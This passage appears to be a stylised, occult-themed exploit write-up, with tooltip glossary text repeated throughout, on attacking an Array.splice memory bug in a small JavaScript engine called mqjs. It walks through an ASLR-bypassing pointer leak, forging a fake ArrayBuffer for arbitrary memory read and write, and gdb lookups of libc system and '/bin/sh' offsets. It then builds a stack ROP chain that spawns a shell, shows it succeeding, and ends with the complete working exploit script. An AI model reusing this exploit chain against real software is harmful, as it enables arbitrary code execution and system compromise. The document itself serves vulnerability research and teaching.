reanimate a long dead Pointer. However, what returns
will be Numerical by nature.
6 ·
4 ·
2.
With this
RiteRite of the Partial OverwriteOccluding a small part of a Light may cast a large
shadow. This rite shapes that of Least Significance to
reanimate a long dead Pointer. However, what returns
will be Numerical by nature.
6 ·
4 ·
2,
we may set the lower byte of the
Uninitialized-DataUninitialized MemoryResurrected Memory which was once dead.
The previous form remains unless overwritten.
6 ·
2 ·
1
value to anything we wish.
Do you see how this achieves the ideal Transmutation so we may obtain our Entropy-Leak?
Imagine that the
Uninitialized-DataUninitialized MemoryResurrected Memory which was once dead.
The previous form remains unless overwritten.
6 ·
2 ·
1
has the Value of some Pointer. The
Rite of the Partial OverwriteRite of the Partial OverwriteOccluding a small part of a Light may cast a large
shadow. This rite shapes that of Least Significance to
reanimate a long dead Pointer. However, what returns
will be Numerical by nature.
6 ·
4 ·
2
allows us to change the 3 Least-Significant-Bits to
101.
We will force the Floating Number Transmutation!
Using this
RiteRite of the Partial OverwriteOccluding a small part of a Light may cast a large
shadow. This rite shapes that of Least Significance to
reanimate a long dead Pointer. However, what returns
will be Numerical by nature.
6 ·
4 ·
2
with our original
FaultA Fault in the WorkA defect. A bug. An imperfection.You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 ·
2,
the Array.splice will Transmute the pointer into this
arcane looking Number: 5.888206550329753e-39
With the use of Mathematics we can calculate the inverse of this
Transmutation and obtain the original Pointer
0x77b26d1fef05.
Thus we have an Entropy-Leak which can bypass the ASLR:
var arr = new Array(30);
function convert_float_jsvalue(f) {
// Conversion code cut for brevity
}
var attack = {
valueOf: function() {
arr.length = 0;
arr.length = 3;
var a = new Uint8Array(97);
// Overwrite byte of uninitialized memory with 0b101 tag
a[96] = 0x5;
return 10;
}
}
var leaked = arr.splice(attack, 30);
print("After OOB Copy...")
print("RAW LEAK: " + leaked[6]);
var leak_address = convert_float_jsvalue(leaked[6]);
print("LEAKED: " + leak_address[0].toString(16) + " " + leak_address[1].toString(16));While this works in concept, it requires Experimentation to achieve
the correct
Uninitialized-DataUninitialized MemoryResurrected Memory which was once dead.
The previous form remains unless overwritten.
6 ·
2 ·
1.
This is due to the Writing itself being part of the
MemoryThe WorldWhere everything happens.
A vast field containing all Memory and Execution.
Every time a new expedition is made, the layout of the World shifts.
6 ·
2 ·
1,
so any changes will have rippling disruptive effects. Changing the size
of Objects may help manipulate these effects.
$ ./mqjs ./leak.js
After OOB Copy
RAW LEAK: 5.887933456554759e-39
LEAKED: 74a6 e1a00605
We can see the Entropy leaking through the value as it changes every invocation:
var arr = new Array(40);
var zz = 0;
var ff = 0;
var fb = new ArrayBuffer(0x10);
var fbu = new Uint32Array(fb);
var fbf = new Float64Array(fb);
function float_to_u64(v) {
fbf[0] = v;
var high = fbu[1];
var low = fbu[0];
return [high, low];
}
function rotl64(high, low, n) {
if (n === 4) {
// Rotate left by 4 bits
var new_high = ((high << 4) | (low >>> 28)) >>> 0;
var new_low = ((low << 4) | (high >>> 28)) >>> 0;
return [new_high, new_low];
}
// For other rotations, implement as needed
throw new Error("Only n=4 supported");
}
function encode_short_float(d) {
print(d)
var hl = float_to_u64(d);
var high = hl[0];
var low = hl[1];
//print("Original High: " + high.toString(16) + " Low: " + low.toString(16));
// Subtract ADDEND (0xE800000000000000)
// Same as adding 0x1800000000000000
var addend_high = 0x18000000;
var addend_low = 0x00000000;
// 64-bit addition with carry
var new_low = (low + addend_low) >>> 0;
var carry = (new_low < low) ? 1 : 0;
var new_high = (high + addend_high + carry) >>> 0;
// Rotate left by 4 bits
hl = rotl64(new_high, new_low, 4);
var final_high = hl[0];
var final_low = hl[1];
//print("Encoded High: " + final_high.toString(16) + " Low: " + final_low.toString(16));
return [final_high, final_low];
}
function build_fake_arr() {
//var a = new Uint8Array(97);
var a = new Uint8Array(97);
for (var i = 0; i < 97; i++) {
var v = ~~(i / 8);
a[i] = v*0x10;
}
a[96] = 0x5;
//a[6*8] = 0x41;
//for (var i = 1; i < 8; i++) {
// a[6*8+i] = 0x41;
//}
gc();
}
var attack = {
valueOf: function() {
arr.length = 0;
var pad = new Uint8Array(0x50);
arr.length = 3;
if (zz === 0) {
build_fake_arr();
}
return 10;
}
};
var deleteCount = {
valueOf: function() {
return 30;
}
};
gc();
var leaked = arr.splice(attack, deleteCount);
print(leaked.length);
var leak = leaked[6];
var res = encode_short_float(leak);
print("LEAKED: " + res[0].toString(16) + " " + res[1].toString(16));We are now in the final stages of our
Shell SummoningSummoned ShellEnlightenment.
Absolute control. Escape.
Many strive to reach it. None know what to do once there.
10 ·
6 ·
2…
The last tool to complete this task is to construct a Mechanism which
can rend the
World’s MemoryThe WorldWhere everything happens.
A vast field containing all Memory and Execution.
Every time a new expedition is made, the layout of the World shifts.
6 ·
2 ·
1
to our will.
6 ·
2 ·
1This construction will be an Object Forgery we can
craft through careful examination of ArrayBuffers in their
natural habitat.
The JSArrayBuffer structure is fairly simple. Most
important is the Type field and the Data
Pointer
We can Forge this object inside of our Controlled-Data, just as we
performed the
Rite of the Type ForgeryRite of the Type ForgeryThrough the Wrong perception of a Memory,
Transmutations are achieved. Data which is viewed must
be shaped in accordance to the Type's Structure, lest it
shall crash and burn. A successful Forgery may incite
Cursed-Workings within the Engine for a greater purpose.
6 ·
4 ·
2
on a Pointer earlier. We can point the Data-Pointer
anywhere in Memory we want!
Luckily this can be an Incomplete-Forgery and we may ignore the
Properties and Prototype aspects. We only care
about the Type and Data aspects for this
RiteRite of the Type ForgeryThrough the Wrong perception of a Memory,
Transmutations are achieved. Data which is viewed must
be shaped in accordance to the Type's Structure, lest it
shall crash and burn. A successful Forgery may incite
Cursed-Workings within the Engine for a greater purpose.
6 ·
4 ·
2:
This Forgery, while fragile, is functional! After triggering the
Array.splice invocation again, we are given a
Cursed-Reference to our JSArrayBuffer
Forgery.
With this Cursed-Reference in hand, we may harness it:
new Uint8Array(fake_array_buffer). This harness gives us
full control to read or write to any Memory-Address we know.
var leak_low = 0;
var leak_high = 0;
var attacker_data = null;
function build_fake_arr() {
gc();
var a = new Uint8Array(97);
attacker_data = a;
target_arr = new Uint32Array(2);
for (var i = 0; i < 97; i++) {
var v = ~~(i / 8);
a[i] = v*0x10;
}
a[96] = 0x5;
var fake_arr_buf_low = leak_low + main_off + 8;
// [ Fake ArrayBuffer ]
set_4(a, 8, 0x1112);
set_4(a, 0xc, 0);
set_4(a, 0x10, 0x53545556); // fake prototype
set_4(a, 0x14, 0x5152);
set_4(a, 0x18, 0x63646566); // fake props
set_4(a, 0x1c, 0x6162);
set_4(a, 0x20, fake_byte_arr_low + 1); // pointer to target data
set_4(a, 0x24, leak_high);
set_4(a, 6*8, fake_arr_buf_low + 1);
set_4(a, 6*8+4, leak_high);
zz = 100;
}
var attack = {
valueOf: function() {
arr.length = 0;
arr.length = 3;
build_fake_arr();
return 10;
}
};
get_aslr_leak();
var leaked = arr.splice(attack, 30);
var forged_array_buffer = leaked[0];
var read_write = new Uint8Array(bad_ref);
function set_addr(high, low) {
var real_off = 0x20;
set_4(attacker_data, real_off, low - 7);
set_4(attacker_data, real_off+4, high);
__debugPause();
}
function read_64(high, low) {
set_addr(high, low);
var olow = read_write[0];
var ohigh = read_write[1];
return [ohigh, olow];
}
function write_64(high, low, vhigh, vlow) {
set_addr(high, low);
read_write[0] = vlow;
read_write[1] = vhigh;
}
6 ·
2 ·
1Our final mechanism is complete! We will now shape the
World’s MemoryThe WorldWhere everything happens.
A vast field containing all Memory and Execution.
Every time a new expedition is made, the layout of the World shifts.
6 ·
2 ·
1
so that it yields to our will.
There are many ways to perform this feat, but I chose to use one of the oldest.
We shall use the
Rite Of The Smashing StackRite of the Smashing StackThis Terminale Rite brings about a Change inControl. What was once a path home is nowbound by a chain of Gadgets. Each Return
advances towards the final System state. Ifaligned properly a Shell may be summoned.
6 ·
4 ·
2.

Through this final
RiteRite of the Smashing StackThis Terminale Rite brings about a Change inControl. What was once a path home is nowbound by a chain of Gadgets. Each Return
advances towards the final System state. Ifaligned properly a Shell may be summoned.
6 ·
4 ·
2
we will locate the elusive
StackStack of All HistoriesA cache of Returns. A path home.
Each invocation adds a new layer of Control.
By locating and writing over these Returns:
The History of Execution can be changed.
6 ·
4 ·
2
and smash it into fragments. This action will replace it with a Chain of GadgetsCode GadgetsA rope of code fragments, woven together to form a new path.
Each knot instructs a single task.
When all tasks have been completed the world will have changed.
6 ·
4 ·
2,
by which the final
ShellSummoned ShellEnlightenment.
Absolute control. Escape.
Many strive to reach it. None know what to do once there.
10 ·
6 ·
2
will be summoned.
To complete this task we must first locate some provisions from
inside the
Library of LIBCLibrary of LIBCA festering tome of prewritten functions.
Many useful rituals are contained within.
Summoning them may aid in your Exploit.
6 ·
4 ·
2:
6 ·
4 ·
2
can be located
6 ·
4 ·
2
10 ·
6 ·
2$ man system
NAME
system - execute a shell command
LIBRARY
Standard C library (libc, -lc)
SYNOPSIS
int system(const char *command);
DESCRIPTION
The system() library function behaves as if it used fork(2) to create
a child process that executed the shell command specified in command
$ gdb ./mqjs
gdb> vmmap libc
► 0x7ffff7c00000 0x7ffff7c28000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
gdb> p system
{int (const char *)} 0x7ffff7c58750 <__libc_system>
gdb> p/x 0x7ffff7c58750 - 0x7ffff7c00000
0x58750
gdb> search "/bin/sh"
Searching for value: '/bin/sh'
libc.so.6 0x7ffff7dcb42f 0x68732f6e69622f /* '/bin/sh' */
gdb> p/x 0x7ffff7dcb42f - 0x7ffff7c00000
0x1cb42fThen we shall seek the
StackStack of All HistoriesA cache of Returns. A path home.
Each invocation adds a new layer of Control.
By locating and writing over these Returns:
The History of Execution can be changed.
6 ·
4 ·
2’s
Name who is hidden in a secret alcove within the
LIBCLibrary of LIBCA festering tome of prewritten functions.
Many useful rituals are contained within.
Summoning them may aid in your Exploit.
6 ·
4 ·
2,
named ENVIRON:
$ man environ
NAME
environ - user environment
SYNOPSIS
extern char **environ;
DESCRIPTION
The variable environ points to an array of pointers to strings
called the "environment".
$ gdb ./mqjs
gdb> p &environ
(char ***) 0x7ffff7ffe2d0 <environ>
gdb> p/x 0x7ffff7ffe2d0 - 0x7ffff7c00000
0x3fe2d0All the pieces are in their place…
The
EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 ·
2 ·
1’s
power is now capable of manipulating the very
Stack FrameStack of All HistoriesA cache of Returns. A path home.
Each invocation adds a new layer of Control.
By locating and writing over these Returns:
The History of Execution can be changed.
6 ·
4 ·
2
for which it executes within…
We return out of the invocation one final time…
// ...
var libc_base_low = leak_low + 0x1001000;
var libc_base_high = leak_high;
print("LIBC BASE: " + libc_base_high.toString(16) + " " + libc_base_low.toString(16));
function rop() {
var attack = {
valueOf: function() {
var env_low = libc_base_low + 0x20ad58;
var binsh_low = libc_base_low + 0x1cb42f;
var system_low = libc_base_low + 0x58750;
var pop_rdi = libc_base_low + 0x10f78b;
var ret = libc_base_low + 0x10f78c;
var st = read_64(libc_base_high, env_low);
var stack_high = st[0];
var stack_low = st[1] - 0x568;
print("STACK PTR: " + stack_high.toString(16) + " " + stack_low.toString(16));
// Build ROP chain on stack
write_64(stack_high, stack_low + 0x00, libc_base_high, ret);
write_64(stack_high, stack_low + 0x08, libc_base_high, pop_rdi);
write_64(stack_high, stack_low + 0x10, libc_base_high, binsh_low);
write_64(stack_high, stack_low + 0x18, libc_base_high, system_low);
print("WROTE ROP CHAIN");
// RETURNING NOW WILL HIJACK CONTROL!
}
};
var arr = new Array(10);
arr.splice(attack, 0);
}
rop();And…….
./mqjs ./exp-shell.js
LEAKED: 77b6 1c5ff205
LIBC BASE: 77b6 1d600000
STACK PTR: 7ffd 143e1bb8
WROTE ROP CHAIN
$ whoami
nyan
The
LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 ·
2 ·
1
is
ExploitedExploitThe weird machine.
A crafted sequence of glyphs that bends the edicts of the World.
It will only work while a Fault exists. Use it before it expires.
5 ·
3 ·
1.
The
ShellSummoned ShellEnlightenment.
Absolute control. Escape.
Many strive to reach it. None know what to do once there.
10 ·
6 ·
2
has been summoned. The Work is done.
The final time reads 8 Hours 37 Minutes
Summoned ShellEnlightenment.
Absolute control. Escape.
Many strive to reach it. None know what to do once there.
10 ·
6 ·
2
ExploitThe weird machine.
A crafted sequence of glyphs that bends the edicts of the World.
It will only work while a Fault exists. Use it before it expires.
5 ·
3 ·
1
var arr = new Array(40);
var zz = 0;
var ff = 0;
var leak_low = 0;
var leak_high = 0;
var fake_arr = null;
var target_arr = null;
var pad_off = 8*1;
var main_off = 0x3e00;
var fb = new ArrayBuffer(0x10);
var fbu = new Uint32Array(fb);
var fbf = new Float64Array(fb);
function float_to_u64(v) {
fbf[0] = v;
var high = fbu[1];
var low = fbu[0];
return [high, low];
}
function rotl64(high, low, n) {
if (n === 4) {
// Rotate left by 4 bits
var new_high = ((high << 4) | (low >>> 28)) >>> 0;
var new_low = ((low << 4) | (high >>> 28)) >>> 0;
return [new_high, new_low];
}
// For other rotations, implement as needed
throw new Error("Only n=4 supported");
}
function encode_short_float(d) {
var hl = float_to_u64(d);
var high = hl[0];
var low = hl[1];
var addend_high = 0x18000000;
var addend_low = 0x00000000;
// 64-bit addition with carry
var new_low = (low + addend_low) >>> 0;
var carry = (new_low < low) ? 1 : 0;
var new_high = (high + addend_high + carry) >>> 0;
// Rotate left by 4 bits
hl = rotl64(new_high, new_low, 4);
var final_high = hl[0];
var final_low = hl[1];
return [final_high, final_low];
}
/*
// Fake byte buffer
[ 0x0c, 0x10, 0, 0, 0, 0, 0, 0 ]
// Fake JSArrayBuffer
[ 0x12, 0x11, 0, 0, 0, 0, 0, 0 ]
0x515253545556
0x616263646566
[ target ptr - 1 ]
*/
function set_4(buf, offset, val) {
buf[offset] = val&0xff;
buf[offset+1] = (val>>8)&0xff;
buf[offset+2] = (val>>16)&0xff;
buf[offset+3] = (val>>24)&0xff;
}
function build_fake_arr() {
gc();
var a = new Uint8Array(97);
target_arr = new Uint32Array(2);
for (var i = 0; i < 97; i++) {
var v = ~~(i / 8);
a[i] = v*0x10;
}
a[96] = 0x5;
var fake_byte_arr_low = leak_low + main_off;
// [ Fake byte buffer ]
set_4(a, 0, 0x100c);
set_4(a, 4, 0);
var fake_arr_buf_low = fake_byte_arr_low + 8;
// [ Fake ArrayBuffer ]
set_4(a, 8, 0x1112);
set_4(a, 0xc, 0);
set_4(a, 0x10, 0x53545556); // fake prototype
set_4(a, 0x14, 0x5152);
set_4(a, 0x18, 0x63646566); // fake props
set_4(a, 0x1c, 0x6162);
set_4(a, 0x20, fake_byte_arr_low + 1); // pointer to fake buffer
set_4(a, 0x24, leak_high);
set_4(a, 6*8, fake_arr_buf_low + 1);
set_4(a, 6*8+4, leak_high);
zz = 100;
}
function run() {
var attack = {
valueOf: function() {
arr.length = 0;
var pad = new Uint8Array(pad_off);
arr.length = 3;
if (zz < 2) {
build_fake_arr();
}
return 10;
}
};
var asdf = [];
for (var i = 0; i < 10000; i++) {
asdf[i] = {};
}
asdf = null;
gc();
var leaked = arr.splice(attack, 30);
print(leaked.length);
if (leak_high === 0) {
var leak = leaked[6];
var res = encode_short_float(leak);
print("LEAKED: " + res[0].toString(16) + " " + res[1].toString(16));
leak_high = res[0];
leak_low = res[1] & 0xfffff000;
return res;
} else {
var bad_ref = leaked[0];
var u = new Uint8Array(bad_ref);
fake_arr = u;
print("FAKE ARR DATA:");
print(u[0])
print(u[1])
print(u[2])
print(u[3])
}
}
function set_addr(high, low) {
var real_off = 0xd0;
set_4(fake_arr, real_off, low - 7);
set_4(fake_arr, real_off+4, high);
}
function read_64(high, low) {
set_addr(high, low);
var olow = target_arr[0];
var ohigh = target_arr[1];
return [ohigh, olow];
}
function write_64(high, low, vhigh, vlow) {
set_addr(high, low);
target_arr[0] = vlow;
target_arr[1] = vhigh;
}
run();
arr = new Array(40);
zz = 1;
run();
var t = leak_low + main_off + 0x50;
var rres = read_64(leak_high, t);
print("TARGET ARR PTR: " + rres[0].toString(16) + " " + rres[1].toString(16));
write_64(leak_high, t, 0x13371337, 0x41414141);
var libc_base_low = leak_low + 0x1001000;
var libc_base_high = leak_high;
print("LIBC BASE: " + libc_base_high.toString(16) + " " + libc_base_low.toString(16));
function rop() {
var attack = {
valueOf: function() {
var env_low = libc_base_low + 0x20ad58;
var binsh_low = libc_base_low + 0x1cb42f;
var system_low = libc_base_low + 0x58750;
var pop_rdi = libc_base_low + 0x10f78b;
var ret = libc_base_low + 0x10f78c;
var st = read_64(libc_base_high, env_low);
var stack_high = st[0];
var stack_low = st[1] - 0x568;
print("STACK PTR: " + stack_high.toString(16) + " " + stack_low.toString(16));
// Build ROP chain on stack
write_64(stack_high, stack_low + 0x00, libc_base_high, ret);
write_64(stack_high, stack_low + 0x08, libc_base_high, pop_rdi);
write_64(stack_high, stack_low + 0x10, libc_base_high, binsh_low);
write_64(stack_high, stack_low + 0x18, libc_base_high, system_low);
print("WROTE ROP CHAIN");
}
};
var arr = new Array(10);
arr.splice(attack, 0);
}
rop();